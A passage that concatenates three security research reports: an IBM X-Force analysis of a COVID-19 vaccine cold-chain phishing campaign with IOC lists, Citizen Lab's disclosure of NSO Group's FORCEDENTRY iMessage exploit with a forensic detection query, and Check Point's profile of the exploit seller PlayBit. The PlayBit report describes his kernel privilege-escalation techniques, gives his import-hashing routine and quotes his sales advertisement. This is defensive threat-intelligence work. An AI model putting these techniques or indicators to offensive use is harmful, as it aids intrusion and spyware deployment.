U.N. agencies. It is highly likely that the adversary strategically chose to impersonate Haier Biomedical because it is purported to be the world’s only complete cold chain provider. It’s unclear from our analysis if the COVID-19 phishing campaign was successful. However, the established role that Haier Biomedical currently plays in vaccine transport, and their likely role in COVID-19 vaccine distribution, increases the probability the intended targets may engage with the inbound emails without questioning the sender’s authenticity. ## Credential Harvesting for Wider Access The subject of the phishing emails posed as requests for quotations (RFQ) related to the CCEOP program. The emails contain malicious HTML attachments that open locally, prompting recipients to enter their credentials to view the file. This phishing technique helps attackers avoid setting up phishing pages online that can be discovered and taken down by security research teams and law enforcement. We assess that the purpose of this campaign may have been to harvest credentials to gain future unauthorized access. From there, the adversary could gain insight into internal communications, as well as the process, methods, and plans to distribute a COVID-19 vaccine. This includes information regarding infrastructure that governments intend to use to distribute a vaccine to the vendors that will be supplying it. However, beyond critical information pertaining to the COVID-19 vaccine, the adversary’s access could extend deeper into victim environments. Moving laterally through networks and remaining there in stealth would allow them to conduct cyber espionage and collect additional confidential information from the victim environments for future operations. ## Global Targeting Given the specialization and global distribution of organizations targeted in this campaign, it’s highly likely that the adversary is intimately aware of critical components and participants of the cold chain. - **European Commission’s Directorate-General for Taxation and Customs Union** — The Directorate-General is responsible for promoting cooperation on customs and tax matters across the EU. It maintains direct ties to multiple national government networks and is associated with trade and regulation. Targeting this entity could serve as a single point of compromise impacting multiple high-value targets across the 27 member states of the European Union and beyond. - **Energy Sector** — Spear phishing targets included companies involved in manufacturing solar panels. One of the ways that vaccines are kept cold in countries where reliable power is not possible is by using vaccine refrigerators powered by solar panels. A compromise of such technologies could result in intellectual property theft or stealing and selling vaccine shipping containers in black markets across the globe. Targeting also included companies associated with petrochemicals. Among the key components of the cold chain is the use of dry ice, which is a byproduct of petroleum production. - **IT Sector** — Amongst the targets were a South Korean software development firm and a German website development company. The latter supports multiple clients associated with pharmaceutical manufacturers, container transport, biotechnology, and manufacturers of electrical components enabling sea, land, and air navigation and communications. ## Who is Likely Behind These Attacks? While attribution is currently unknown, the precision targeting and nature of the specific targeted organizations potentially point to nation-state activity. Without a clear path to a cash-out, cyber criminals are unlikely to devote the time and resources required to execute such a calculated operation with so many interlinked and globally distributed targets. Likewise, insight into the transport of a vaccine may present a hot black-market commodity; however, advanced insight into the purchase and movement of a vaccine that can impact life and the global economy is likely a high-value and high-priority nation-state target. Earlier in 2020, IBM Security X-Force uncovered activity surrounding the targeting of a global COVID-19 PPE supply chain. Similarly, as the global competition races for a vaccine, it is highly likely the cold chain is a compelling target that will be at the top of the lists of national collection requirements worldwide. ## Recommendations to Defenders IBM Security X-Force stands ready to host the COVID-19 supply chain community on our Enterprise Intelligence Management platform, where they can share threat information and take action on the latest threat intelligence. The following are recommendations for organizations to increase their cyber readiness amidst the developments outlined in this blog: - Create and test incident response plans to strengthen your organization’s preparedness and readiness to respond in the event of an attack. - Share and ingest threat intelligence. Threat-sharing initiatives and partnerships are essential to staying alert about the latest threats and attack tactics impacting your industry. IBM Security X-Force has been feeding this threat intelligence into the COVID-19 threat sharing enclave. At the onset of the pandemic, IBM made this enclave freely accessible to any organization in need of more eyes on cyber threats. - Assess your third-party ecosystem and assess potential risks introduced by third-party partners. Confirm you have robust monitoring, access controls, and security standards in place that third-party partners need to abide by. - Apply a zero-trust approach to your security strategy. As environments continue to expand, managing privilege access becomes paramount to ensuring that users are only granted access to the data that is essential to their job. - Use Multifactor Authentication (MFA) across your organization. MFA works as a fail-safe if a malicious actor has gained access to your credentials. As a last line of defense, MFA offers a second form of verification requirement in order to access an account. - Conduct regular email security educational trainings so employees remain on alert about phishing tactics and are familiar with email security best practices. - Use Endpoint Protection and Response tools to more readily detect and prevent threats from spreading across the organization. If your organization requires immediate assistance with incident response, please contact IBM Security X-Force’s US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034. ## Indicators of Compromise (IOCs) **Malicious HTML Files:** RFQ – UNICEF CCEOP and Vaccine Project – Copy (#).html **SHA256 Hashes** - d32b4793e4d99bb2f9d4961a52aee44bbdba223699075ed40f6a6081e9f1e6b4 - ace86e8f5d031968d0c9319081a69fa66ce798e25ec6bbd23720ee570651aa04 - 7f53eca4a3e083ad28c8d02862bc84c00c3c73a9d8b7082b7995f150713d4c51 - e3de643f3acebf1696a2b275f4ab1d0bacb5a8ba466ee8edbaaffaaa44cd2f10 - a8c42db5ccddbde5b17ce3545189329a33acfdd4a8b9aff0c7e4294709b60af6 - 07dbe854a34e61349adcc97dd3e2eb5a9158e02568bae3e2aae3859aeeb5b8a9 - 7898d4596b6125129698866dbfa1a71d069aee3fd84ecb43343c3bf377a7abe2 - 7fc47e4fdce42b032b8ad0438cb5c76ed42a36d8c6a3e16d42dd0b69f49f33bd - 83f8934fadccbaaa8119cd542382fbb9b97dfd196ef787b746ccaaf11f1d444e - 6126052b0b200e04ce83a3fa470efee6ba82882674ebcc46c326b0a6c7fbfab4 - 75768be2e98b8010256f519a19a2a47d8983686389b2eeab300aca063b229be5 - b98984a7bf669518b074ef1c8fc4240e4ad6f4a2ccc80a7940a0b56150809e37 - 33c44f32de3153d7705371c4a0c8d695a4e4eb22b4c4f2f3bda519631efb09af - a90056d8d0853f54dec3c8738fbcea6185f87aae6102cff2c0e1def49ccde977 - 68f4e8b58367ae1d0f8c392b43f459b1d942faf979953233a104cd74944b88f4 - 0ec6a1a0b353c672307220fe69ca4c3be6e516505e1f16b5bb8f3b55adaa0c0e - 61e7f48f41414d3c945b7317023ca27e5d3f011b0a2e16354641748cc0f9df8e - 0ac984f340a2903228b17e28c3a0f4507f5fc780bfe6505f196d2b92feccfab8 - 9143c2499a1cb2fb4e86ba6f9552f752358d8c8b635376aa619305431a3eec50 - 49468e2cbaab71a1035f45ef1d4a7cd791e2d5c2bbbfc9d29249d64f40be9aa4 - 8dc052382d626a2b1fb9181bdc276858386098e1919276c682a0a2b397dab80b - 61bae857955c5cabf20119a918a0ebd83cbe9a34ebc6ee628144d225ab0867df - 93643badb18f8dccba1eae3d0a44e8a91d4646cb4d1d4b61e234bf7edc58969c - c22ec0725f45221e477c9966a32b8faadd3e320c278043e57252903be89664cc - d5cd18bd27b7525d5e240d5dca555844ec721f8f4be224b91c047b827b7e5529 - 3e6b7d3055b50c2fd65231d1f757e3f0a6a1dbd803601d2e4223ace4d2bc1198 - d32b4793e4d99bb2f9d4961a52aee44bbdba223699075ed40f6a6081e9f1e6b4 - 28511c50efe2fc02f7a437864e48f8c2983637507c2f8d8773e32ed9a420c895 **C2 URLs** - hxxps://e-mailer.cf/next[.]php - hxxps://e-mailer.ga/next[.]php - hxxps://nwa-oma2.ml/next[.]php - hxxps://routermanager.ga/next[.]php - hxxps://routermanager.gq/next[.]php - hxxps://routermanager.ml/next[.]php - hxxps://routermanagers.cf/next[.]php - hxxps://routermanagers.ga/next[.]php - hxxps://routermanagers.gq/next[.]php - hxxps://routermanagers.ml/next[.]php - hxxps://serverrouter.cf/next[.]php - hxxps://serverrouter.ga/next[.]php - hxxps://serversrouter.cf/next[.]php - hxxps://serversrouter.gq/next[.]php - hxxps://nwa-oma.ml/next[.]php **Sender Email Addresses** - [email protected][.]com **DNS SOA Addresses** - rahim[@]protonmail[.]com - kilode[@]cock.li. **Additional Related URLs** - hxxps://mailerdeamon[.]cf - hxxps://mailerdeamon[.]ga - hxxps://mailerdeamon[.]gq - hxxps://mailerdeamon[.]ml - hxxps://mailerdeamon[.]tk - hxxps://routermanager[.]tk - hxxps://routermanagers[.]tk - hxxps://serverrouter[.]tk
# FORCEDENTRY NSO Group iMessage Zero-Click Exploit Captured in the Wild **September 13, 2021** **Research** By Bill Marczak, John Scott-Railton, Bahr Abdul Razzak, Noura Al-Jizawi, Siena Anstis, Kristin Berdan, and Ron Deibert ## Summary While analyzing the phone of a Saudi activist infected with NSO Group’s Pegasus spyware, we discovered a zero-day zero-click exploit against iMessage. The exploit, which we call FORCEDENTRY, targets Apple’s image rendering library and was effective against Apple iOS, MacOS, and WatchOS devices. We determined that the mercenary spyware company NSO Group used the vulnerability to remotely exploit and infect the latest Apple devices with the Pegasus spyware. We believe that FORCEDENTRY has been in use since at least February 2021. The Citizen Lab disclosed the vulnerability and code to Apple, which has assigned the FORCEDENTRY vulnerability CVE-2021-30860 and describes it as “processing a maliciously crafted PDF may lead to arbitrary code execution.” Today, September 13th, Apple is releasing an update that patches CVE-2021-30860. We urge readers to immediately update all Apple devices. **Devices affected by CVE-2021-30860 per Apple:** All iPhones with iOS versions prior to 14.8, all Mac computers with operating system versions prior to OSX Big Sur 11.6, Security Update 2021-005 Catalina, and all Apple Watches prior to watchOS 7.6.2. ## Discovery In March 2021, we examined the phone of a Saudi activist who has chosen to remain anonymous and determined that they had been hacked with NSO Group’s Pegasus spyware. During the course of the analysis, we obtained an iTunes backup of the device. Recent re-analysis of the backup yielded several files with the “.gif” extension in Library/SMS/Attachments that we determined were sent to the phone immediately before it was hacked with NSO Group’s Pegasus spyware. **Payload** The files were: - 27 copies of an identical file with the “.gif” extension. Despite the extension, the file was actually a 748-byte Adobe PSD file. Each copy of this file caused an IMTranscoderAgent crash on the device. These files each had random-looking ten-character filenames. - Four different files with the “.gif” extension that were actually Adobe PDF files containing a JBIG2-encoded stream. Two of these files had 34-character names, and two had 97-character names. The output of the pdfid tool on these four “.gif” files was: ``` PDF Comment '%PDF-1.3\n\n' obj 1 0 Type: /XRef Referencing: Contains stream << /Type /XRef /Size 9 /W [1 3 1] /Length ... /Filter [/FlateDecode /FlateDecode /JBIG2Decode] /DecodeParms >> trailer << /Size 2 >> startxref 10 PDF Comment '%%EOF\n' ``` ## Discovery and Disclosure Because the format of the files matched two types of crashes we had observed on another phone when it was hacked with Pegasus, we suspected that the “.gif” files might contain parts of what we are calling the FORCEDENTRY exploit chain. Citizen Lab forwarded the artifacts to Apple on Tuesday, September 7. On Monday, September 13, Apple confirmed that the files included a zero-day exploit against iOS and MacOS. They designated the FORCEDENTRY exploit CVE-2021-30860 and describe it as “processing a maliciously crafted PDF may lead to arbitrary code execution.” The exploit works by exploiting an integer overflow vulnerability in Apple’s image rendering library (CoreGraphics). We are publishing limited technical information about CVE-2021-30860 at this time. ## Attribution to NSO Group We observed multiple distinctive elements that allowed us to make a high-confidence attribution to NSO Group: - The spyware installed by the FORCEDENTRY exploit exhibited a forensic artifact that we call CASCADEFAIL, which is a bug whereby evidence is incompletely deleted from the phone’s DataUsage.sqlite file. In CASCADEFAIL, an entry from the file’s ZPROCESS table is deleted, but not entries in the ZLIVEUSAGE table that refer to the deleted ZPROCESS entry. We have only ever seen this type of incomplete deletion associated with NSO Group’s Pegasus spyware, and we believe that the bug is distinctive enough to point back to NSO. The specific CASCADEFAIL artifact can be detected by: ``` SELECT "CASCADEFAIL" FROM ZLIVEUSAGE WHERE ZLIVEUSAGE.ZHASPROCESS NOT IN (SELECT Z_PK FROM ZPROCESS); ``` - The spyware installed by the FORCEDENTRY exploit used multiple process names, including the name “setframed.” That process name was used in an attack with NSO Group’s Pegasus spyware on an Al Jazeera journalist in July 2020. Notably, we did not publish that detail at the time. ## Previous NSO Zero-Click Exploits FORCEDENTRY is the latest in a string of zero-click exploits linked to NSO Group. In 2019, WhatsApp fixed CVE-2019-3568, a zero-click vulnerability in WhatsApp calling that NSO Group used against more than 1400 phones in a two-week period during which it was observed, and in 2020, NSO Group employed the KISMET zero-click iMessage exploit. To our knowledge, the KISMET vulnerability was never publicly identified, though we suspect that the underlying vulnerability (if it still exists) can no longer be exploited via iMessage due to Apple’s introduction of the BlastDoor mitigation in iOS14. We suspect that NSO Group developed FORCEDENTRY, which circumvents BlastDoor, in response to this mitigation. ## Conclusion Despite promising their customers the utmost secrecy and confidentiality, NSO Group’s business model contains the seeds of their ongoing unmasking. Selling technology to governments that will use the technology recklessly in violation of international human rights law ultimately facilitates discovery of the spyware by investigatory watchdog organizations, as we and others have shown on multiple prior occasions, and as was the case again here. In 2016, we titled our report on the discovery of an iOS and MacOS Apple zero-day the “Million Dollar Dissident.” The title was chosen to reflect the huge sums that autocratic governments are willing to pay to hack their critics. Mercenary spyware companies devote substantial resources to identifying software vulnerabilities on widely used applications and then package those exploits to eager government clients, creating a highly lucrative but widely abused commercial surveillance marketplace. Our latest discovery of yet another Apple zero day employed as part of NSO Group’s arsenal further illustrates that companies like NSO Group are facilitating “despotism-as-a-service” for unaccountable government security agencies. Regulation of this growing, highly profitable, and harmful marketplace is desperately needed. Our finding also highlights the paramount importance of securing popular messaging apps. Ubiquitous chat apps have become a major target for the most sophisticated threat actors, including nation-state espionage operations and the mercenary spyware companies that service them. As presently engineered, many chat apps have become an irresistible soft target. Without intense engineering focus, we believe that they will continue to be heavily targeted and successfully exploited. ## Acknowledgements We thank the targets of Pegasus spyware that have allowed us to analyze their devices, with a special thanks to the individual that worked with us on this case. It is thanks to them, and their bravery, that we were able to make this discovery. Special thanks to all at Apple for quick and responsive action. Thanks to our Citizen Lab colleagues for feedback and editing. Thanks to TNG.
# Exploit Developer Spotlight: The Story of PlayBit **Research By:** Eyal Itkin and Itay Cohen **Date:** October 26, 2020 ## Introduction Exploits have always been an important and integral part of malicious attacks. They allow attackers to gain capabilities that are not easy to achieve otherwise. Whether attackers strive to gain higher privileges on a given computer or laterally move inside a network, exploits often play a key role in their plan. While in-the-wild exploits are used by many malware families, the malware authors get most of the attention, and the exploit developers remain out of the spotlight. As part of our effort to focus on the exploit developers themselves, we previously shared our methodology and technique of fingerprinting and tracking exploit developers. In our earlier publication, we thoroughly explained our methodology and focused on Volodya, a prominent exploit developer we tracked using the unique fingerprints left in their exploits. Now our focus is on another exploit developer known as PlayBit or luxor2008. ## Initial Sample – CVE-2018-8453 As our research technique of fingerprinting exploit writers exceeded our initial expectations, we were on the lookout for more exploits to investigate. Soon enough, we came across a blog post from Kaspersky detailing how Sodin (a.k.a Sodinokibi, or REvil), an infamous ransomware, is using a 1-Day exploit for CVE-2018-8453. CVE-2018-8453 is an interesting case, as it was formerly caught in the wild by Kaspersky when used by FruityArmor. From their report, it was clear that this exploit was reimplemented by another actor. While we would prefer to investigate an exploit developed by the actor behind the 0-Day exploit, we had to settle for the exploit used in REvil. Even from this one sample, it was clear that this new actor uses a totally different exploit template than the one used by Volodya. Luckily for us, the actor chose to implement new features that weren’t in Volodya’s exploit template, which gave us a wider choice of artifacts to hunt for. After we created a few hunting rules, we set out to pursue our quarry. ### Our actor’s exploits All of the exploits that we found related to this actor were 1-Day exploits for Local Privilege Escalation (LPE) vulnerabilities in Windows. This list of 5 different CVEs that were exploited eventually led us to our actor’s identity: PlayBit (a.k.a luxor2008). A full profile of the actor can be found later on in this blog post, under the “Intelligence Report” section. #### CVE-2013-3660 - **Classification:** 1-Day - **Basic Description:** Uninitialized kernel pointer in EPATHOBJ::pprFlattenRec - **Used by the following malware families:** Dyre, Ramnit - **Background on this vulnerability:** This vulnerability was originally found by Google’s Tavis Ormandy and made headlines due to an unusual disclosure process as Microsoft was not notified about the vulnerability before the full disclosure. #### CVE-2015-0057 - **Classification:** 1-Day - **Basic Description:** Use-After-Free in win32k!xxxEnableWndSBArrows - **Used by the following malware families:** Dyre, Evotob - **Background on this vulnerability:** Also known as MS15-010, this vulnerability was found by Udi Yavo, the CTO of enSilo. The public disclosure of the vulnerability included a technical explanation of the vulnerability as well as the exploitation plan. In addition, the authors specifically mentioned they were able to exploit this vulnerability on all Windows versions and even supplied a demo video. Even though the disclosure didn’t share any exploit code, it was enough to draw our actor’s attention. Three months after the patch, PlayBit already had a working exploit, and a month later this exploit was used by the Dyre Banking Trojan. #### CVE-2015-1701 - **Classification:** 1-Day - **Basic Description:** CreateWindow callback validation error - **Used by the following malware families:** Locky - **Background on this vulnerability:** Also known as MS15-051, this vulnerability was originally exploited as a 0-Day in an operation attributed to APT28. #### CVE-2016-7255 - **Classification:** 1-Day - **Basic Description:** Memory corruption in NtUserSetWindowLongPtr - **Used by the following malware families:** LockCrypt - **Background on this vulnerability:** Originally exploited as a 0-Day, once again attributed to APT28. This 0-Day was found and exploited by Volodya, later to be exploited again and sold by PlayBit. #### CVE-2018-8453 - **Classification:** 1-Day - **Basic Description:** Use-after-free in win32kfull!xxxDestroyWindow - **Used by the following malware families:** REvil (Sodinokibi), Maze, Neshta - **Background on this vulnerability:** Originally exploited as a 0-Day and attributed to FruityArmor. As Bitdefender reported, Maze ransomware uses two different LPE exploits: CVE-2016-7255 and CVE-2018-8453. What’s interesting is that they use Volodya’s exploit for CVE-2016-7255 (like GandCrab and many other malware families), while transitioning to using PlayBit’s exploit for CVE-2018-8453. Not only do we see both Volodya and PlayBit selling their exploits to the same malware actor, we can take this opportunity to learn about the dynamics involved. While PlayBit sells their own exploit for CVE-2016-7255, Maze chose to use Volodya’s exploit even though they also purchased an exploit from PlayBit (CVE-2018-8453). It seems a bit unusual that when purchasing their LPE exploits, the actors behind Maze decided to buy from two different sellers, especially as PlayBit sells both of these exploits. However, an important fact to remember is that Maze ransomware was first discovered in 2019. Therefore, our theory is that at least in some campaigns, the operators behind Maze simply “inherited” the first exploit, later purchasing another one to target more victims. ## Mindset of a 1-Day exploit seller When going over the list of CVEs that were exploited by PlayBit, we found a unique pattern that they all share: All of the vulnerabilities were already “famous” before PlayBit decided to implement an exploit for them. - **CVE-2013-3660:** Made headlines due to an unusual disclosure process. - **CVE-2015-0057:** The public disclosure of the vulnerability included a detailed explanation of the vulnerability and the exploitation plan, and to this day is still highly regarded as a novel exploitation technique. - **CVE-2015-1701:** Originally exploited as a 0-Day. - **CVE-2016-7255:** Originally exploited as a 0-Day. - **CVE-2018-8453:** Originally exploited as a 0-Day. As we can see, all of the CVEs that our actor chose to exploit as 1-Days were already well known. While we didn’t find a similar tactic for Volodya when choosing which 1-Day vulnerabilities to exploit, it does seem that this helped PlayBit advertise their exploits in underground forums. One more characteristic that we found in all of PlayBit’s exploits that were lacking in Volodya’s is the exploitability check. PlayBit supplies the customer with a thin wrapper around the exploit, which checks whether the target computer is indeed vulnerable. Although the check varies a bit between different exploits and versions, the basics are the same: the modification date of the vulnerable win32k driver is checked to detect if a patch was installed. ### The author’s fingerprints Now that we found 5 different exploits from PlayBit, we can review them in greater detail and familiarize ourselves with the actor’s work habits. As was the case with Volodya, it was clear to us from the beginning that PlayBit probably has a simple template to deploy for the different exploits. #### Hash-Based Imports In every exploit, PlayBit picks a handful of important functions and obfuscates their use. Instead of just importing these functions at the PE level or using their cleartext strings and importing them using GetProcAddress(), PlayBit devised their own import technique. Here is a short Python snippet that performs this “hash” calculation (more like a checksum / CRC): ```python from malduck import ror def calc_hash(export_str): crc_value = 0 for c in export_str: cur_value = ord(c) if cur_value >= ord('a'): cur_value -= 0x20 crc_value = ror(crc_value, 13) + cur_value return crc_value ``` Not only is this hash-based import technique used in all of the actor’s exploits, we were also able to find it in other tools they sold over the years, going back to 2012. When examining the functions imported using this mechanism, we found out they all have a common trait. All of these functions are used by the “shellcode,” the exploitation part that is executed with high privileges and is responsible for elevating the permissions of the target process. This also means that it is relatively easy to locate the shellcode in each of the exploits, as it references the global variables that store the addresses of the specially imported functions. #### OS Fingerprinting Like any other experienced exploit developer attempting to target as many OS versions as possible, our actor needs to fingerprint the exact version of the immediate target. This means that the exploit identifies and calibrates itself to the target’s Windows version. In contrast to Volodya, it seems that PlayBit is interested in everything they can learn about the target: - OS major number - OS minor number - Service pack - Server or a standalone computer - Windows 10 build number While this API call is used in all of the exploits, it was used exclusively only in the exploit of CVE-2013-3660. As this API became deprecated, the exploits from 2015 and later only use it when querying for the service pack and the OS type. Both the major number and minor number of the Windows OS are now queried using a different technique. #### Accessing the PEB Switching from the now deprecated GetVersionEx(), PlayBit chose to query the Process-Environment-Block (PEB). This is a clear difference in the modus operandi of PlayBit as compared to Volodya. Not only do they extract the same information in different ways, but Volodya is also interested in far less information than PlayBit, even when they both exploit the same vulnerability (CVE-2016-7255). In general, both actors hold detailed version-specific configurations from which they load the relevant information once the OS version is determined. The main difference between the two is that the code flow in Volodya’s exploits rarely depends on the OS version, while PlayBit incorporates multiple twists and turns using various if-checks that depend on the OS version. #### Leaking Kernel Addresses In contrast to what we initially thought, a closer examination of PlayBit’s exploits showed that they do indeed contain a kernel-pointer-leak primitive. Not only do the exploits contain such a leak, the chosen leak primitive hints at a high level of understanding of the internals of Windows. PlayBit directly accesses the Desktop Heap stored in user-mode, via the Win32ClientInfo field stored in the Thread-Environment-Block (TEB). As Microsoft gradually fixed the design issue that allowed for this pointer-leak, PlayBit had to implement some updates along the way to allow this technique to continue to work. For instance, Creators Update removed the ulClientDelta field from Win32ClientInfo, mandating that the exploit for CVE-2018-8453 calculate it manually. This technique was finally patched by Microsoft in Windows 10 RS4. The leak primitive enables PlayBit to learn the kernel addresses of the windows created during the exploitation. In turn, this information is used in several phases during the exploitation: - The addresses are used for pointing to / creating fake kernel objects. - The kernel memory shaping is measured by the distance between the leaked addresses. - The exploits usually invoke a kernel shellcode, and we need to know where it is stored. ### SMEP Bypass #### Generation 0 – No Bypass In the initial versions of the earlier exploits, such as the exploit for CVE-2013-3660 and some versions of CVE-2015-0057, the exploit caused the kernel to execute a token-swapping shellcode stored in user-mode. The downside of this form of privilege-elevation is that SMEP prohibits the kernel from executing code that is stored in user-mode. Instead of changing the way the token-swap is performed, PlayBit decided to add an additional layer that turns off SMEP. This way, the problem is reduced to the same token-swap problem that earlier exploits already solved. A classic academic solution. #### Generation 1 – Kernel shellcode In this set of exploits, an additional kernel shellcode was added. This bootloader code is copied to kernel-space and stored as the “window name” of one of the windows corrupted by the exploit. Upon execution, the code modifies CR4 to disable the SMEP support and then jumps back to the original user-mode payload. The exploit copies the payload to the kernel using the NtUserDefSetText syscall, which explains why this syscall is included in the per-version configuration of all of the relevant exploits. Note that this SMEP bypass is based on the fact that the above code snippet can be executed, in kernel-mode, even though it should have been a window name. The fact that memory pools were flagged as “executable” (or more specifically, weren’t flagged as “non-executable”), was used by many attackers. Eventually, Microsoft noticed this design flaw in the kernel’s memory and introduced Non-eXecutable (NX) pools to the kernel. Once again, PlayBit decided to overcome this added restriction using yet another reduction, implemented in the exploit for CVE-2018-8453. #### Generation 2 – Disabling the NX bit from the kernel shellcode This additional change was more complicated than the previous one, as it also demanded the use of Arbitrary-Read and Arbitrary-Write kernel primitives. While the use of these primitives allows for a cleaner exploit to begin with, as Volodya was doing since 2015, PlayBit only added it as an additional step in the reduction to the basic user-mode token-swap payload. During this step, the page table entries are traversed in search of the entry associated with the kernel shellcode. Once found, the entry is masked-out of the XD (eXecute Disable) bit and stored back in the table. From this point on, the memory page containing the kernel shellcode is executable, and thus the privilege-escalation chain can start. ## An exploit framework After finding enough samples that adhere to PlayBit’s exploit template for Windows memory corruption LPEs, we decided to perform one more check. Using exploit-specific artifacts from each of the exploits, we created an additional set of hunting rules and did one more search. In this additional search, we found Ramnit samples which contain an exploit for CVE-2013-3660, but with some changes: - When checking if the target is vulnerable or patched, instead of looking for the driver’s modification date, the exploit searches for a specific patch id in the registry. - PlayBit’s hash-based imported functions are no longer used; GetProcAddress() is used instead. Our Ramnit sample exploits both CVE-2013-3660 (by PlayBit) and CVE-2014-4113 (using the same exploit code originally found as a 0-Day). The original exploit for CVE-2014-4113 was part of an exploit framework in which the API passes a command-line argument, and that command is executed as SYSTEM. As that wasn’t the original API for PlayBit’s exploit, some adjustments were made and PlayBit’s exploits were readjusted to receive a command-line argument to be executed once elevated. When further investigating this new framework, we saw that it matched FireEye’s report on the Dyre Banking Trojan. As Dyre exploited CVE-2013-3660 and CVE-2015-0057, both of which were written by PlayBit, this means that during the lifetime of this exploit framework, it included at least the following 3 exploits: - CVE-2013-3660 – PlayBit. - CVE-2014-4113 – 1-Day use of the original 0-Day exploit. Unknown author. - CVE-2015-0057 – PlayBit. Aside from connecting PlayBit to this now defunct exploit framework, we can deduce additional conclusions regarding our exploit-based hunting technique: - Our hunting is mainly based on an actor’s given exploit template. - When working with other associates, and collaborating on a given exploitation framework, this template is replaced with the agreed-upon design modifications. - Given an initial exploitation framework sample, it is easier to find similar framework-related samples than it is to find independent exploits of one of the authors who contributed to this framework. Essentially, both the attribution and the hunting are more complicated as the exploit framework masks many telltale signs of the individual exploit developer. ## Intelligence Report In contrast to the previous blog post on Volodya, we decided this time to perform an additional “Background Check” on PlayBit. Being unfamiliar with this actor, we thought it would be a good chance to better understand how they work. In addition, we could test how well our exploit-based hunting technique works by comparing the found list of advertisements to the actual samples we caught. ### PlayBit (a.k.a luxor2008) Attributing the exploits to our exploit writer was quite simple. It turns out that alongside the use of numerous underground forums, there are also public YouTube channels advertising the actor’s exploits. For some unknown reason, there are actually two YouTube channels: one for earlier exploits and another one (still active) for more recent exploits. As the videos publicly state which CVE is being exploited, the attribution process was very short. ### The Actor’s Advertisements Aside from the YouTube channels we mentioned earlier, the actor used multiple platforms to advertise the vulnerabilities. Whether the ads were placed on underground forums, YouTube, or even Pastebin, they all shared a common template: ``` Ring0 LPE Exploit CVE-2015-0057 [All win versions] Vulnerability: CVE-2015-0057 (Published: February 10, 2015) Supported versions: XP/2003/Vista/2008/W7/W8/2012/W8.1/2012R2/W10TP Supported architecture: x86/x64 Development stage: v1.1.1900 (stable) Shellcode size x86: 13Kb Shellcode size x64: 16Kb Bypass all possible Windows security defenses: SMEP Kernel DEP KASLR Integrity Level (escape from Low) NULL Dereference Protection UAC There are no public POCs on this vulnerability. Shellcode has ready for immediate use in your projects. The test demo sources are supplied. Exploit is extremely stable, no bsods or error messages. Can be run under Guest account from Low Integrity Level. Successfully bypasses proactive defenses of: KIS 2015 Avast IS 2015 ESET Smart Security 8 ``` These extensive ads emphasize the fact the exploit isn’t detected by AV vendors, and that public POCs do not exist or are of poor quality when compared to the exploit. The wide range of supported Windows versions is also evident: If a given Windows version is vulnerable to the exploited vulnerability, you can be sure that PlayBit’s exploit supports it. ### Years of activity We successfully traced PlayBit to various exploits and tools going as far back as 2012. On average, the actor sells a single Windows LPE 1-Day exploit per year, and that includes recent exploits for both CVE-2019-1069 (a SandboxEscaper vulnerability) and CVE-2020-0787 (yet another logical vulnerability). ### Transition to exploit logical vulnerabilities While we caught samples of 5 memory-corruption Windows LPE vulnerabilities, the ads show that in the last year or so the actor shifted their interest. Both of the recently sold exploits are now more logical in nature and may indicate a trend in the exploitation market. Knowing that PlayBit’s previous exploits relied on a design flaw that was fixed by Microsoft in Windows 10 RS 4 (released on April 30, 2018), it could be that Microsoft’s mitigations are one reason behind this shift in focus. ### Pricing As previously reported by Kaspersky, Volodya sold 0-Day exploits at prices ranging from $85,000 (exploit from 2016) up to $200,000. While we don’t know what the selling price was for 1-Day exploits, we expected prices roughly in the same neighborhood. However, when going over the different ads published by PlayBit, we saw a wide pricing gap when compared to Volodya. All Windows LPE exploits were advertised with a price tag ranging between $5,000 and $10,000. We even found the actor using a fake nickname and claiming to sell a 0-Day exploit, which was in fact the 1-Day exploit for CVE-2016-7255. The asking price for this “0-Day” was still $35,000, way below the $85,000 for which Volodya sold the real 0-Day exploit of the same vulnerability. In addition, we couldn’t find any pricing trend for the different exploits, as all pretty much sold for the same price from 2015 to 2020. ### Intelligence Report Wrap-up Although not intuitive at first, the fact that we didn’t see ads for other CVEs (of the same exploitation template) is actually good news. It means that our technique worked better than expected: A fully technical hunt for PlayBit’s exploits, without any intelligence, still managed to cover all of their exploits that originated from the exploit template with which we initially started. Aside from Windows LPEs, we found two more interesting tools that PlayBit is developing/collaborating with. #### Avatar Rootkit - ESET mentioned this in 2013. - Uses the same hash-based imports that is still a feature of PlayBit today. #### EternalBlack - Self-implemented EternalRomance. - Again, uses features seen in all of the rest of the samples. ### The Customers The “customers,” i.e., malware that use PlayBit’s exploit, either directly or by using an exploit framework, are all crimeware. Most prominent are the popular ransomware that use PlayBit’s exploits to escalate their privileges before encrypting the victim’s disk. These ransomware include Maze, Locky, LockCrypt, and REvil (Sodin, Sodinokibi). Other malware are popular Trojans like Ramnit and Dyre. ## Conclusion In this article, we demonstrated another case in which we were able to fingerprint an exploit developer, without prior knowledge about the developer or any public profiles. All we started with was a single sample. We showed how PlayBit, similar to Volodya, has a unique set of choices, approaches, methodologies, and combinations of implementation decisions. By gathering all the pieces, we managed to understand and profile PlayBit, as well as attribute samples to the actor. We also took the opportunity to compare PlayBit to Volodya and highlight the differences between their coding styles and preferences. Aside from the technical aspects, this is the first time that PlayBit has been thoroughly described by researchers. We took a look at the exploit market, the advertisements, YouTube channels, and collaborations between exploit developers and malware authors. Developing an exploit is just the beginning. The next step is to monetize the “product” and sell the customers a high-quality piece of software that is relatively stable and supports as many versions as possible. Following our success with profiling both PlayBit and Volodya, we believe that our research methodology can be used to identify additional exploit writers as well. We therefore recommend that other researchers try our approach and add it to their toolbox. ## Recommendation for Protection Check Point Threat Emulation provides protection against this threat: **Wins.Generic.G** ## Appendix – IOC Table - **CVE-2013-3660:** 9f1a235eb38291cef296829be4b4d03618cd21e0b4f343f75a460c31a0ad62d3 - **CVE-2015-0057:** 1b3524fd57e4e836778d4af4579b6d986e7475ee6a1a7818ead0fc59efbdc2ac - **CVE-2015-1701 (Also contains an exploit for CVE-2015-0057):** 8869e0df9b5f4a894216c76aa5689686395c16296761716abece00a0b4234d87 - **CVE-2016-7255:** 5c27e05b788ba3b997a70df674d410322c3fa5e97079a7bf3aec369a0d397164 - **CVE-2018-8453:** 50da0183466a9852590de0d9e58bbe64f22ff8fc20a9ccc68ed0e50b367d7043 - **Avatar Rootkit:** d1a8d74aadb10bff4bfda144e68db3e087ec4fee82cd22df22839fd5435d0d37 - **EternalBlack:** effa8e38838ba7d2c58b2731c086ac72d639f9d2ab8184bc8cf05d72c5444dd1
